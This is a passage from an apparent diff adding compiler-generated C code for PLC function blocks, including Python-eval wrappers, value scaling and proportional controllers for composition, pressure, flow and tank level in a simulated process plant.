GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + 